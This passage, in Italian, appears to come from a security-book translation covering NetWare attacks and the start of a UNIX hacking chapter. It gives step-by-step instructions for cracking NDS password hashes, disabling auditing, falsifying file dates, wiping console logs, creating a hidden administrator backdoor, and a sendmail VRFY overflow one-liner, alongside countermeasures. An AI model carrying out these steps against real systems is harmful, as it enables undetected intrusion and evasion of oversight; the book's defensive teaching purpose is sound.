1997,1998 (c) Nomad Mobile Research Centre
CN=deoane O=HSS id-010000ff parentID-010000b7 objectID-010000ff pwlen-5

 read hash - 39575a94aac0bc736cad587ee16268af
  password - ROGUE

C:\novell\Pandora\EXE>
```

Imp 2.0

Imp, creato da Shade, è un programma a interfaccia grafica che è in grado di eseguire il cracking sia con il metodo forza bruta, sia utilizzando un dizionario. Il dizionario di cracking è incredibilmente rapido: il tentativo di utilizzare 933.224 parole del dizionario richiede solamente un paio di minuti in una postazione Pentium II a

200 MHz. L'unica limitazione di Imp consiste nell'attacco di tipo forza bruta. I nomi utente selezionabili per l'elaborazione devono corrispondere a password con la stessa lunghezza. Fortunatamente, Imp è in grado di mostrare la lunghezza della password accanto al nome utente. È possibile ottenere una copia di Imp all'indirizzo `http://www.wastelands.gen.nz/`.

I quattro file NDS che sono stati copiati con la tecnica NetBasic, o che sono stati generati dal programma di utilità `extract` di Pandora, sono `block.nds`, `entry.nds`, `partitio.nds` e `value.nds`. L'unico file che vi occorre per iniziare il cracking è `partitio.nds`. Aprite Imp e caricate il file `partitio.nds` da disco, quindi selezionate *Dictionary* o *Brute Force cracking* e lasciate che venga eseguito.

Imp mostra l'intero albero visualizzando gli utenti e la lunghezza della password, come mostrato nella Figura 6.8. È importante vedere queste informazioni per le ragioni elencate di seguito.

- Potete stabilire la lunghezza della password utilizzata da ciascun utente.
- Potete orientare i vostri attacchi con il metodo di tipo forza bruta (che potrebbe richiedere un tempo notevole) selezionando solamente le password più brevi (non più di sette o otto caratteri).

Figura 6.8
Imp fornisce informazioni di grande importanza che possono consentire a un hacker di sferrare il suo attacco al sistema.

Intento sui file di log

Diffusione:	*6*
Semplicità:	*6*
Impatto:	*8*
Fattore di rischio:	*7*

Una volta giunti a questo punto, un hacker "serio" adotterà tutte le contromisure per coprire le tracce lasciate durante l'attacco. Le pratiche utilizzate consistono nel disabilitare l'auditing delle operazioni, nel modificare le informazioni sull'accesso, la data e l'ora dei file e nell'intervenire sui file di log.

Disabilitare l'auditing

I pirati più esperti verificano la presenza delle funzioni di auditing e disabilitano alcuni eventi per poter svolgere agevolmente il loro lavoro. Di seguito sono elencati alcuni passaggi che devono essere eseguiti per disabilitare l'auditing dei servizi Directory Services e dei server.

1. Avviate `SYS:PUBLIC\auditcon`.
2. Selezionate *Audit Directory Services.*
3. Selezionate il contenitore sul quale volete intervenire e premete il tasto F10.
4. Selezionate *Auditing Configuration.*
5. Selezionate *Disable Container Auditing.*
6. A questo punto sarete in grado di aggiungere contenitori e modificare utenti nel contenitore selezionato, senza che l'amministratore ne sia a conoscenza.

Come modificare gli attributi dei file

Una volta che un pirata è intervenuto sul file autoexec.ncf, oppure sul file netinfo.cfg, molto probabilmente non vorrà essere scoperto; per questo motivo utilizzerà `SYS:PUBLIC\filer` per modificare la data del file. Allo stesso modo del comando `touch` di UNIX e dei sistemi Windows NT, `filer` è un programma di utilità DOS con un'interfaccia a menu per ricercare i file e per modificarne gli attributi. La modifica della data di un file richiede i passaggi elencati di seguito.

1. Avviate `filer` da SYS:PUBLIC.
2. Selezionate *Manage Files And Directories.*
3. Trovate la directory in cui risiede il file che cercate.
4. Selezionate il file.
5. Selezionate il percorso *View/Set File Information.*
6. Modificate i parametri `Last accessed date` e `Last modified date`, come nella figura a pagina seguente.

```
C:\WINNT\System32\cmd.exe - filer
FILER 4.25                                    Saturday April 10, 1999  1:03pm
Context: HSS
Volume object: SECRET_SYS
Current path: SECRET\SYS:SYSTEM

                 Information for file AUTOEXEC.NCF

 Attributes: [Rw---A] [------------------] Status: ---
 Owner: SECRET.HSS
 Inherited rights filter: [SRWCEMFA]
 Trustees: ↓ <empty>
 Current effective rights: [SRWCEMFA]
 Owning name space: DOS
 File size: 962 bytes
 EA size: 0 bytes

 Creation date: 3/27/1999
 Last accessed date: 4/10/1999
 Last archived date: (Not archived)
 Last modified date: 4/9/1999
Enter=Select   Esc=Escape                                              F1=Help
```

Manomissioni ai log di console

Il metodo di Novell per registrare i messaggi e gli errori di console si basa sul file `conlog.nlm`. Con questo programma vengono registrati tutti gli eventi, compresa la rilevazione degli intrusi e il blocco degli utenti (Intruder Detection and Lockout). `conlog` può essere disattivato facilmente. Un hacker, per accedere a `rconsole`, può semplicemente utilizzare il comando `unload conlog` per fermare la registrazione del log; in seguito, con il comando `load conlog` può riavviare il servizio, utilizzando un file `console.log` pulito. Il file precedente viene cancellato, per cui tutti gli errori e i messaggi precedenti sono persi. Un amministratore di sistema esperto potrebbe interpretare questo fatto come il sintomo di un'intrusione avvenuta o in corso, mentre altri amministratori meno capaci potrebbero attribuire questo fatto al caso.
Gli errori e i messaggi di sistema, generati durante il boot e la normale operatività, vengono registrati in modo permanente nel file SYS:SYSTEM\sys$err.log. Avendo semplicemente l'accesso al server come amministratore, qualunque hacker può aprire il file con un editor e rimuovere i messaggi di log, compresi quelli relativi al blocco degli utenti.

Contromisure alle manomissioni dei log

Controllate con regolarità i file `console.log` e `sys$err.log`. Purtroppo non esiste alcuna contromisura valida ed efficace per risolvere queste intrusioni. Può risultare praticamente impossibile riuscire a tracciare le operazioni eseguite da amministratori (o dagli hacker). Potete comunque attivare l'audit di ciascun file e sperare che l'intruso sia troppo sbadato o inesperto per ricordare di disattivare la registrazione delle operazioni.

1. Avviate `SYS:PUBLIC\auditcon`.
2. Selezionate *Audit Configuration*.
3. Selezionate *Audit By File/Directory*.
4. Localizzate i file SYS:ETC\console.log e SYS:SYSTEM\sys$err.log.
5. Selezionate ciascun file e premete il tasto F10 per attivare l'audit.
6. Per concludere uscite.

Backdoor

Diffusione:	*7*
Semplicità:	*7*
Impatto:	*10*
Fattore di rischio:	*8*

La backdoor più efficace per gli ambienti Novell è quella che gli esperti NetWare vi insegnano a non costruire mai: costruire e lasciare oggetti orfani. L'utilizzo di una OU (*Organizational Unit*) nascosta, con un utente amministratore cui sono assegnati i diritti per il suo contenitore, consente effettivamente di nascondere l'oggetto. Per effettuare questa operazione applicate la procedura seguente.

1. Eseguite la connessione all'albero come Admin o come amministratore.
2. Avviate NetWare Administrator (`nwadmn3x.exe`).
3. Create un nuovo contenitore in un contesto annidato dell'albero. Fate clic con il pulsante destro su una delle OU e createne una nuova selezionando *Create* e scegliendo, poi, *Organizational Unit*.
4. Create un utente nel contenitore. Fate clic con il tasto destro sul contenitore, selezionate *Create*, poi scegliete *User*.
5. Assegnate all'utente i diritti completi (*Trustee Rights*) sui suoi oggetti. Fate clic con il tasto destro sull'utente, selezionate *Trustees Of This Object*. Rendete l'utente un assegnatario esplicito di diritti.
6. Assegnate all'utente i diritti completi (*Trustee Rights*) per il nuovo contenitore. Selezionate il nuovo contenitore. Quindi scegliete *Trustees Of This Object*. Rendete l'utente un assegnatario esplicito di diritti sul nuovo contenitore, selezionando tutte le voci disponibili, come potete vedere nella figura seguente.

7. Modificate l'utente per rendere gli attributi di sicurezza equivalenti a quelli di un amministratore. Fate clic con il tasto destro sull'utente, selezionate *Details* e, quindi, la pagina *Security Equivalent To*. Fate clic su *Add* e selezionate *Admin*.
8. Modificate la proprietà *Inherited Rights Filter* per il contenitore appena creato, disabilitando le proprietà *Browse* e *Supervisor* (così da non visualizzare il contenitore).

L'operazione descritta al punto 8 consente la sparizione del nuovo contenitore e del nuovo utente: neanche l'utente Admin è in grado di visualizzarli. Anche gli altri amministratori non saranno in grado di visualizzare o cancellare questi oggetti. Questa operazione, che permette di eliminare un oggetto NDS, è possibile perché NDS consente anche di sottrarre ad Admin o ad altri amministratori l'autorizzazione di accesso agli oggetti.

9. A questo punto è possibile collegarsi attraverso la backdoor appena creata. Ricordate che non sarete in grado di visualizzare il nuovo contenitore all'interno dell'albero delle risorse. Di conseguenza dovrete inserire manualmente le informazioni relative al contesto, come nella figura seguente.

Per maggiori informazioni consultate il sito di NMRC (`http://www.nmrc.org`). L'hacker chiamato "Simple Nomad" illustra questa tecnica nel sito *Unofficial Hack FAQ* (domande frequenti sugli hacking non ufficiali) all'indirizzo `http://www.nmrc.org/faqs/hackfaq/hackfaq.html`.

Contromisure all'esecuzione di applicazioni su backdoor

Potete trovare un paio di soluzioni al problema della backdoor: la prima può essere ottenuta acquistando un prodotto commerciale; la seconda, invece, è gratuita.
Il prodotto vero e proprio si chiama EMS/NOSadmin 4.*x* & 5.*x* v6 ed è distribuito da BindView (`http://www.bindview.com`): esso è in grado di individuare qualunque oggetto nascosto.
La seconda soluzione, gratuita, è il programma Hidden Object Locator disponibile all'indirizzo `http://www.netwarefiles.com/utils/hobjloc.zip`. Questo programma funziona come file NLM installato sul server ed effettua la scansione dell'albero NDS alla ricerca di oggetti che non hanno l'autorizzazione di Browse per l'utente connesso (che di solito è un amministratore). La soluzione è valida tenendo conto della scarsissima quantità di risorse (87 KB) e del basso prezzo.
L'unica soluzione indicata da Novell affronta il problema da una prospettiva diversa. Con `SYS:PUBLIC\auditcon` è possibile abilitare l'audit degli eventi "Grant Trustee" (cioè degli eventi che modificano le autorizzazioni di accesso agli oggetti) applicando la procedura elencata di seguito.

1. Avviate `auditcon`.
2. Selezionate *Audit Directory Services*.
3. Selezionate *Audit Directory Tree*.
4. Attivate l'audit del contenitore prescelto e premete F10.
5. Selezionate *Enable Container Auditing*.
6. Premete il tasto Esc fino a quando non raggiungerete il menu principale.
7. Selezionate la voce *Enable Volume Auditing* per abilitare l'audit sul volume.
8. Selezionate *Auditing Configuration*.
9. Selezionate *Audit By Event*.
10. Selezionate *Audit By User Events*.
11. Attivate la voce *Grant Trustee*.

Ovviamente questa soluzione presuppone il fatto che l'hacker non sia abbastanza scaltro da disabilitare la funzione di auditing prima della creazione della backdoor.

Capitolo 7

Hacking di UNIX

Alcuni pensano che il desiderio di ottenere un accesso root a un sistema UNIX sia meno devastante della dipendenza indotta da droghe. In realtà la ricerca delle credenziali di root ha le stesse origini del sistema operativo UNIX. Per questo motivo daremo qualche informazione storica sull'argomento.

Ricerca dell'utente root

Nel 1969 Ken Thompson e, in seguito, Denis Richie, che lavoravano alla AT&T, decisero che il progetto per l'evoluzione del sistema operativo MULTICS (*Multiplexed Information and Computing System*) non stava progredendo con la celerità che essi desideravano. La loro scelta di mettere insieme un nuovo sistema chiamato UNIX rappresenta una svolta destinata a cambiare definitivamente il volto dell'informatica. UNIX è stato progettato per essere un sistema multiutente particolarmente robusto, imbattibile nell'esecuzione di applicazioni o, più specificamente, di piccoli programmi chiamati *tools* (strumenti). I requisiti di sicurezza non facevano parte delle principali caratteristiche progettuali di UNIX, anche se la struttura fondamentale di questo sistema operativo conteneva componenti intrinseche già concepite come sicure, se implementate correttamente. L'accentuata versatilità di UNIX fu il risultato dell'apertura con cui vennero affrontati lo sviluppo e l'evoluzione del kernel del sistema, così come degli strumenti e dei programmi di utilità che rendevano il sistema così potente. I primi ambienti di sviluppo di UNIX erano collocati all'interno dei laboratori della Bell o nelle università, tutti luoghi in cui la sicurezza veniva garantita principalmente grazie alla presenza di barriere e mezzi fisici. Per questo motivo, chiunque avesse accesso fisico al sistema UNIX era considerato autorizzato. In molti casi, l'impostazione di una password per l'utente root era addirittura considerata di ostacolo alla normale operatività.
Mentre UNIX e tutti i sistemi da esso derivati hanno subito un'evoluzione enorme nel corso dei trenta e più anni trascorsi, l'interesse per i problemi legati alla sicurezza di questa famiglia di sistemi operativi non è aumentato. D'altra parte numerosi hacker e molti sviluppatori hanno perfezionato (e continuano a farlo tuttora) programmi per attaccare i punti deboli del sistema UNIX. La possibilità di rendere pubblici attacchi e programmi per l'accesso non autorizzato a UNIX su siti o mailing list dedicate, come per esempio Bugtraq, è diventato addirittura motivo di vanto e di onore. In questo capitolo cercheremo di capire in che modo e per quali ragioni si sia verificato questo accanimento, quasi mistico, per riuscire a impossessarsi dell'utente root in un sistema

UNIX. Ricordate fin d'ora che nei sistemi UNIX esistono due categorie di utenti: l'utente root e tutti gli altri utenti. L'accesso a un sistema UNIX attraverso l'utente root non è paragonabile a quello di nessun altro utente.

Un breve riepilogo

Riepiloghiamo brevemente quanto abbiamo illustrato nei Capitoli dall'1 al 3. Abbiamo analizzato i metodi per individuare i sistemi UNIX e per ottenere un elenco di risorse e informazioni relative. Abbiamo utilizzato lo scanner di porte `nmap` per consentire l'identificazione delle porte TCP/UDP e per rilevare i processi e i servizi disponibili sulla macchina. Abbiamo, inoltre, utilizzato `rpcinfo` e `showmount` per ottenere rispettivamente l'elenco dei servizi RPC e dei punti di mount NFS. Abbiamo anche utilizzato il programma `netcat` (`nc`) per raccogliere i banner che consentono di ottenere informazioni molto utili relative, per esempio, ai vari programmi e alla versione utilizzata. In questo capitolo esploreremo l'attacco effettivo al sistema UNIX, analizzando tutte le tecniche disponibili. È importante ricordare che, prima di procedere con l'attacco vero e proprio al sistema, è necessario svolgere tutte le attività di riconoscimento delle risorse disponibili e della rete che abbiamo già illustrato. Dovete procedere con metodo e determinazione per assicurarvi di poter rintracciare qualunque frammento di informazione disponibile. Dopo aver esaminato tutto il possibile, è necessario tentare qualche accesso mirato, per poter identificare i punti deboli eventualmente presenti sul sistema oggetto dell'attacco. Potremmo chiamare questo processo "compilazione di una mappa dei punti vulnerabili".

Mappa dei punti vulnerabili

La compilazione di una mappa dei punti vulnerabili (in inglese *vulnerability mapping*) è il processo che consente di creare una corrispondenza tra determinate caratteristiche di sicurezza del sistema e accertati o potenziali punti deboli nei meccanismi di sicurezza. Tra tutte le operazioni di hacking di UNIX, questo è un passaggio importantissimo, che non dovrebbe mai essere sottovalutato. È assolutamente necessario costruire una mappa degli attributi del sistema: servizi in ascolto, nome e versione dei server attivi (per esempio, Apache 1.3.9 utilizzato per i server HTTP e `sendmail` 8.9.10 utilizzato per SMTP), architettura del sistema, e informazioni sugli utenti e sulle potenziali falle del sistema. Tutte queste informazioni possono essere raccolte con diversi metodi di indagine.

- È possibile raccogliere informazioni di pubblico dominio sui punti vulnerabili del sistema da fonti come Bugtraq, dai bollettini del CERT (*Computer Emergency Response Team*, `www.cert.org`) e dalle informative sulla sicurezza pubblicate dai vari fornitori. Questo metodo può essere abbastanza laborioso, ma consente di effettuare un'analisi di tutti i potenziali punti deboli, senza dover necessariamente intraprendere un attacco vero e proprio al sistema.
- Potete utilizzare gli attacchi illustrati sui vari bollettini relativi alla sicurezza, in diversi siti, o scrivendo voi stessi i programmi in base alle istruzioni suggerite. Questo metodo è in grado di rilevare con grande certezza la presenza di punti deboli nel sistema attaccato.
- Potete utilizzare dei programmi di utilità automatizzati che sono in grado di effettuare la scansione dei possibili punti vulnerabili, come Nessus (`http://www.nessus.org`).

Ciascuno di questi metodi presenta vantaggi e svantaggi. Ricordate che solamente gli hacker alle prime armi (hacker non molto "istruiti") trascureranno questi momenti di indagine esplorativa, passando direttamente alle vie di fatto: costoro non hanno ancora compreso come dev'essere eseguito un "buon lavoro" di hacking. Abbiamo addirittura assistito a casi reali in cui il presunto hacker cercava di introdursi in sistemi Windows NT utilizzando attacchi studiati per sistemi UNIX. È inutile dire che si è trattato di lavoro sprecato. Nell'elenco seguente riassumiamo i precetti fondamentali per svolgere un proficuo lavoro di indagine e di mappatura alla ricerca di punti vulnerabili.

- Individuate la struttura e la collocazione della rete in cui è presente il sistema target dell'attacco.
- Raccogliete informazioni su attributi fondamentali: sistema operativo, architettura e versioni delle applicazioni che sono attive per i servizi accessibili. In questo modo è possibile risalire a eventuali attacchi conosciuti o punti vulnerabili.
- Individuate i sistemi chiave o più esposti per procedere con maggiore facilità all'attacco.
- Elencate i possibili punti di ingresso al sistema e assegnate una priorità a ciascuno di essi.

Accesso remoto o accesso locale?

Questo capitolo è diviso in due parti, ognuna relativa a una specifica tipologia di accesso: remoto o locale. Parliamo di *accesso remoto* se il sistema viene attaccato attraverso una connessione in rete (per esempio con l'introduzione in un servizio attivo e in ascolto) oppure attraverso un qualunque canale di comunicazione. Intendiamo invece con *accesso locale* un attacco che avviene attraverso la console di sistema o una shell di comandi. Gli attacchi locali al sistema sono anche indicati come *attacchi privilegiati al sistema*. Cercheremo di spiegare l'importanza di questa distinzione tra i due tipi di accesso. Viene seguita una progressione logica nel tentare di sfruttare un punto vulnerabile di un servizio attivo e, successivamente, nel cercare di ottenere l'accesso a una shell locale di comando. Una volta che ha ottenuto l'accesso alla shell, il nostro hacker viene considerato dal sistema utente locale. Cercheremo di analizzare tutti i tipi di attacco per poter ottenere l'accesso remoto al sistema e forniremo gli esempi più significativi. Una volta ottenuto l'accesso remoto, illustreremo i metodi più comuni che consentono la scalata all'utente root. Per concludere, faremo una panoramica dei metodi che permettono di raccogliere ulteriori informazioni relative alla configurazione dei sistemi locali, in modo da preparare le basi per ulteriori attacchi alle altre macchine della rete. Ricordate comunque che questo capitolo non ha la presunzione di essere un compendio esaustivo sulla sicurezza dei sistemi UNIX. Vi avvertiamo inoltre che non è possibile trattare in questo capitolo tutte le possibili varianti di attacchi relativi alle piattaforme UNIX presenti sul mercato. Probabilmente occorrerebbe un libro intero dedicato appositamente a questa trattazione: ne è prova *Linux Massima sicurezza*, Apogeo, 2001. Il nostro obiettivo è dunque quello di spiegare come funzionano i principali attacchi, in modo da poterne riconoscere anche uno di nuovo tipo. Invece di imboccarvi vi insegneremo a mangiare, in modo che possiate essere autonomi anche in futuro.

Accesso remoto

Come già detto in precedenza, l'accesso remoto comporta un collegamento attraverso la rete o qualche altro canale di comunicazione, come per esempio una connessione via modem collegato al sistema UNIX. Abbiamo scoperto che i requisiti di sicurezza delle connessioni, attraverso modem analogici o ISDN, sono assolutamente carenti. Limiteremo comunque la nostra discussione all'accesso a sistemi UNIX, attraverso connessioni di rete, utilizzando il protocollo TCP/IP. Dopo tutto TCP/IP rappresenta il pilastro su cui si regge Internet ed è il protocollo di maggiore importanza quando si ha a che fare con sistemi UNIX.
Molti potrebbero tentare di farvi credere che vi sia qualcosa di magico in chi riesce a introdursi in un sistema UNIX. In realtà esistono quattro metodi mediante i quali è possibile compromettere la sicurezza di UNIX:

1. Applicazione di un attacco conosciuto a un servizio attivo e in ascolto (per esempio, TCP/UDP).
2. Introduzione attraverso un UNIX che fornisce il supporto alla sicurezza di due o più reti interconnesse.
3. Attivazione di attacchi che comportano l'esecuzione remota di applicazioni dannose (per esempio siti Web intrusivi, trojan inclusi in messaggi di posta elettronica e così via).
4. Ricorso a un processo o a un programma che imposta la scheda di interfaccia di rete in modalità promiscua.

Consideriamo ora alcuni esempi, che ci permetteranno di capire con maggiore precisione le implicazioni coinvolte in ogni tipologia di attacco appena menzionata.

- **Applicazione di un attacco conosciuto a un servizio.** Qualcuno vi fornisce nome utente e password e vi dice: "Introduciti nel mio sistema". Questo è un esempio di sfruttamento di un servizio esistente. Come potrete introdurvi nel sistema se non è attivo un servizio che consente il login interattivo (`telnet`, `ftp`, `rlogin`, oppure `ssh`)? Che ne sapete dell'ultimo punto debole di BIND scoperto la scorsa settimana? Il vostro sistema è invulnerabile? Teoricamente lo è, ma un hacker potrebbe tentare di introdursi applicando un attacco appena scoperto a un servizio, come BIND, in ascolto. A questo proposito, ricordate che il servizio dev'essere attivo e in ascolto, per poter essere utilizzato come mezzo di penetrazione nel sistema. Un servizio disattivato non potrà mai essere utilizzato da remoto.
- **Introduzione attraverso un altro sistema UNIX.** Il vostro firewall UNIX è stato utilizzato da un hacker per penetrare nel sistema. Come è stato possibile, vi chiederete? Noi, direte, non consentiamo alcun accesso a un servizio proveniente dall'esterno. In molti casi gli hacker riescono ad aggirare la protezione offerta da firewall UNIX facendo partire i pacchetti dal firewall stesso verso l'interno della rete. Questo potrebbe anche essere possibile perché nel kernel UNIX è stato attivato il servizio IP forwarding, in grado di gestire autonomamente i pacchetti anche quando il software di firewall dovrebbe provvedere a questo. Nella maggior parte di questi casi l'applicazione di firewall non è stata toccata, ma il sistema posto a "guardia" della rete interna è stato utilizzato come router verso la rete aziendale interna.
- **Attivazione di attacchi a esecuzione remota.** Vi ritenete al sicuro perché avete disabilitato tutti i servizi del vostro server UNIX? Probabilmente non potete ancora cantare vittoria. Cosa succede se, navigando, vi imbattete nel

sito `www.evilhacker.org` e il vostro browser Web esegue qualche riga di codice che consente a `www.evilhacker.org` di riconoscervi e di controllarvi in qualche modo? Pensate alle implicazioni che tutto ciò potrebbe comportare nel momento in cui siete connessi al sistema come utente root, mentre navigate su Internet.

- **Attivazione di attacchi in modalità promiscua.** Cosa accade se il vostro sniffer di rete, come `tcpdump`, è vulnerabile? Volete scommettere che il vostro sistema è esposto agli attacchi semplicemente perché controlla il traffico? Un hacker potrebbe inviarvi un pacchetto adeguatamente "confezionato" che potrebbe trasformare il vostro sniffer nel peggiore incubo di sicurezza.

Nei paragrafi seguenti, illustreremo una serie di metodologie di attacco remoto che rientrano in una di queste quattro categorie. Se avete qualche dubbio su quale sia la categoria alla quale appartiene ciascun attacco remoto a UNIX, ponetevi queste semplici domande.

1. Nella tipologia di attacco è coinvolto qualche servizio in ascolto?
2. Il sistema svolge attività di inoltro del traffico di rete (routing)?
3. L'utente o il suo software hanno avviato qualche comando che ha minato la sicurezza nel sistema attaccato?
4. La vostra scheda di interfaccia è in modalità promiscua, cioè soggetta a catturare traffico potenzialmente dannoso?

Dovreste rispondere in maniera affermativa ad almeno una domanda.

Attacchi con il metodo della forza bruta

Diffusione:	8
Semplicità:	7
Impatto:	7
Fattore di rischio:	7

Cominciamo la nostra analisi dei metodi di attacco a UNIX illustrando l'attacco più classico al sistema, cioè il tentativo di indovinare le password attraverso la "forza bruta". Pur non essendo particolarmente elegante, è certamente uno dei mezzi più efficaci a disposizione degli hacker per ottenere l'accesso a un sistema UNIX. L'attacco a forza bruta consiste semplicemente nel tentare ripetutamente, con diverse combinazioni di nome utente e password, l'accesso a servizi che cercano di autenticare l'utente prima di rendersi disponibili, tra i quali ricordiamo:

- telnet;
- FTP (*File Transfer Protocol*);
- tutti i comandi remoti (`rlogin`, `rsh` e così via);
- SSH (*Secure Shell*);
- nomi di comunità SNMP;
- POP (*Post Office Protocol*);
- HTTP/HTTPS (*Hyper Text Transport Protocol*).

Cercate di ricordare l'importanza dell'individuazione di potenziali nomi utente, aspetto che avevamo già sottolineato quando ci accingevamo a raccogliere ed elencare informazioni dai sistemi target nei Capitoli 1, 2 e 3. Abbiamo utilizzato servizi come

finger, rusers e sendmail per identificare potenziali utenti del sistema remoto. Una volta che l'hacker è in possesso di una lista affidabile di nomi utente, è in grado di tentare l'accesso al sistema target cercando di indovinare la password associata a ciascun ID. Per nostra sfortuna molti utenti hanno scelto una password abbastanza debole, ovvia o addirittura vuota. La migliore dimostrazione di questo assioma consiste nel fatto che il nome utente "Joe" è sempre associato a una password identica al nome utente stesso. Considerando un numero crescente di sistemi UNIX, in molti sarà contenuta la definizione di questo utente. Durante le nostre ricognizioni di accertamento dei requisiti di sicurezza abbiamo incontrato migliaia di utenti "Joe".
Perché la scelta di password banali è così diffusa? Chiaro e semplice: l'utente non sa quali regole deve seguire per la scelta di password sicure, e soprattutto non è obbligato a farlo.
Anche se è certamente possibile provare a indovinare la password di questi servizi procedendo per successive digitazioni, esistono dei programmi che consentono di automatizzare i tentativi di forza bruta. Tra tutti citiamo i seguenti.

- **Brutus** (http://www.hoobie.net/brutus/).
- **brute_web.c** (http://packetstormsecurity.com/Exploit_Code_Archive/brute_web.c).
- **pop.c** (http://packetstormsecurity/groups/ADM/ADM-pop.c).
- **TeeNet** (http://www.phenoelit.de/tn/).
- **Pwscan.pl (parte dello scanner Vlad)** (http://razor.bindview.com/tools/vlad/index.shtml).
- **SNMPbrute** (http://packetstormsecurity.org/Crackers/snmpbrute-fixedup.c).

Contromisure agli attacchi a forza bruta

La difesa migliore contro questo tipo di attacco consiste nell'utilizzare password più sicure, che non possano essere individuate con facilità. Sarebbe preferibile avere a disposizione un meccanismo che non consenta di utilizzare password identiche. Abbiamo individuato alcuni strumenti gratuiti, riportati nella Tabella 7.1, che consentono di rendere più ardua la vita dell'hacker che si volesse cimentare in questi attacchi.

Tabella 7.1 Strumenti gratuiti per la protezione contro gli attacchi a forza bruta

Strumento	Descrizione	Reperibilità
Cracklib	Verifica di composizione delle password.	http://www.users.dircon.co.uk/~crypto/download/cracklib,2.7.tgz
Npasswd	Programma sostitutivo di password.	http://www.utexas.edu/cc/unix/software/npasswd/
Secure Remote Password	Un nuovo meccanismo per eseguire autenticazioni sicure e scambio di chiavi crittografiche in rete.	http://srp.stanford.edu
OpenSSH	Protocollo di connessione remota dotato di cifratura e meccanismo di autenticazione di tipo RSA.	http://www.openssh.org/

Oltre all'impiego di questi strumenti, è importante implementare buone procedure di gestione delle password e affidarsi al buon senso. Considerate quanto è scritto qui di seguito.

- Assicuratevi che tutti gli utenti utilizzino password valide.
- Costringete gli utenti privilegiati a modificare la password almeno ogni 30 giorni, e gli altri almeno ogni 60 giorni.
- La password dovrebbe essere alfanumerica e lunga almeno sei caratteri (preferibilmente otto).
- Registrate i tentativi di autenticazione falliti.
- Configurate i servizi affinché eseguano la disconnessione automatica dopo tre tentativi consecutivi di connessione falliti.
- Se possibile, attivate il meccanismo di blocco dei nomi utente (state in guardia contro gli attacchi DoS lanciati intenzionalmente dall'hacker per bloccare l'accesso agli utenti).
- Disabilitate i servizi non utilizzati.
- Utilizzate uno strumento di guida nella scelta della password, che costringa gli utenti a utilizzare password sicure.
- Non utilizzate la stessa password per ogni sistema al quale vi collegate.
- Non scrivete mai la vostra password.
- Non comunicate la vostra password a terzi.
- Utilizzate sempre password nuove, del tipo usa e getta.
- Assicuratevi che agli utenti di sistema e predefiniti, come per esempio "setup" e "admin", vengano assegnate password personalizzate.

Per maggiori informazioni sulle linee guida nella politica di scelta delle password, potete consultare i bollettini AusCERT (`ftp://ft.auscert.org.au/pub/auscert/advisory/AA-93.04.Password.Policy.Guidelines`).

Attacchi data driven

Ora che abbiamo spiegato il metodo di attacco più banale, la forza bruta, possiamo passare a quello che è di fatto il metodo standard per tentare l'accesso remoto ai sistemi UNIX: gli attacchi data driven, che vengono sferrati bombardando un servizio in ascolto con una sequenza di dati che produce risultati o errori inaspettati o non desiderati. Il fatto di considerarli "inaspettati o non desiderati" è ovviamente soggettivo (dipende da quale punto di vista li si valuta: dell'hacker o dell'amministratore), in quanto questo genere di comportamento è proprio quanto l'hacker si aspetta, per poter approfittare della situazione o dell'errore: proprio questo potrebbe consentirgli di accedere al sistema.

Nel caso in cui siate invece la persona che ha sviluppato il servizio, il vostro programma riceverà una sequenza di dati che darà luogo a risultati anche disastrosi (dal punto di vista della sicurezza del sistema). Gli attacchi data driven possono essere suddivisi in due categorie: attacchi di buffer overflow (dei quali abbiamo già fatto la conoscenza) e attacchi di validazione dell'input. Di seguito troverete una descrizione specifica di ciascuna tipologia.

Buffer overflow

Diffusione:	*8*
Semplicità:	*8*
Impatto:	*10*
Fattore di rischio:	*9*

Nel novembre 1996, il panorama della sicurezza informatica ha subito un drastico e definitivo cambiamento. Il moderatore della mailing list Bugtraq, Aleph One, scrisse un articolo per la rivista che si occupa di sicurezza informatica *Phrack Magazine* (numero 49) intitolato "Smashing the Stack for Fun and Profit" (distruggere lo stack, per divertimento e per profitto). Questo articolo ha avuto una profonda influenza sulla presa di coscienza delle condizioni della sicurezza informatica. Ha messo a nudo con estrema chiarezza quanto l'effetto di pratiche di sviluppo poco intelligenti possa compromettere la sicurezza di un sistema, attraverso attacchi di tipo buffer overflow. Gli attacchi buffer overflow risalgono addirittura al lontano 1988, anno in cui si è verificato il grave incidente Worm che ha visto come protagonista Robert Morris. Fino al 1996, è stato comunque molto difficile reperire informazioni utili e particolareggiate in relazione a questo genere di attacchi.

Possiamo riscontrare una condizione di *buffer overflow* quando un utente o un processo tenta di inserire all'interno di un buffer (array a dimensione fissa) una quantità di dati avente dimensione superiore a quella consentita. Questo tipo di comportamento è associato a specifiche funzioni del linguaggio C, come per esempio `strcpy()`, `strcat()` e `sprintf()`, tanto per indicarne alcune.

La condizione di buffer overflow dovrebbe normalmente causare un errore di tipo *segmentation violation* (violazione di segmentazione), che può essere sfruttato per riuscire a ottenere l'accesso al sistema target. In questo momento stiamo discutendo di errori di buffer overflow causati da attacchi remoti, ma le stesse condizioni possono anche essere causate da applicazioni locali: prenderemo in esame questa evenienza in dettaglio nel prosieguo del capitolo. Per comprendere come viene provocato un errore di buffer overflow, illustriamo un esempio semplice ma efficace.

Supponiamo di avere a disposizione un buffer a grandezza fissa di dimensione 128 byte, utilizzato dal servizio `sendmail` per memorizzare l'input che viene fornito dal comando VRFY. Ricordate il Capitolo 3, in cui abbiamo utilizzato il comando VRFY per poter identificare con maggior facilità gli utenti potenziali del sistema target del nostro attacco: nel caso specifico stavamo cercando di verificare l'esistenza degli indirizzi di posta elettronica degli utenti. Supponiamo che l'utente con il quale `sendmail` sta operando nel sistema sia il SUID root, e che possieda i diritti di root. Questo potrebbe comunque non essere vero per tutti i sistemi che cerchiamo di attaccare. Che cosa succede se un hacker si connette al daemon `sendmail` e invia una sequenza di 1000 "a" al comando VRFY, invece di utilizzare un nome utente più breve?

```
Echo "vrfy 'perl -e 'print "a" x 1000''" nc www.example.com 25
```

Il buffer VRFY viene esaurito, perché era progettato per contenere un massimo di 128 caratteri. L'inserimento di 1000 byte nel buffer di VRFY potrebbe provocare un errore del tipo Denial of Service e bloccare il daemon `sendmail`, oppure (questa è una situazione ancora più pericolosa) il sistema potrebbe anche essere costretto a eseguire parti di codice scelte dall'hacker che ha provocato l'errore: questa è esatta-

mente la modalità di funzionamento di un attacco di tipo buffer overflow sferrato con successo.
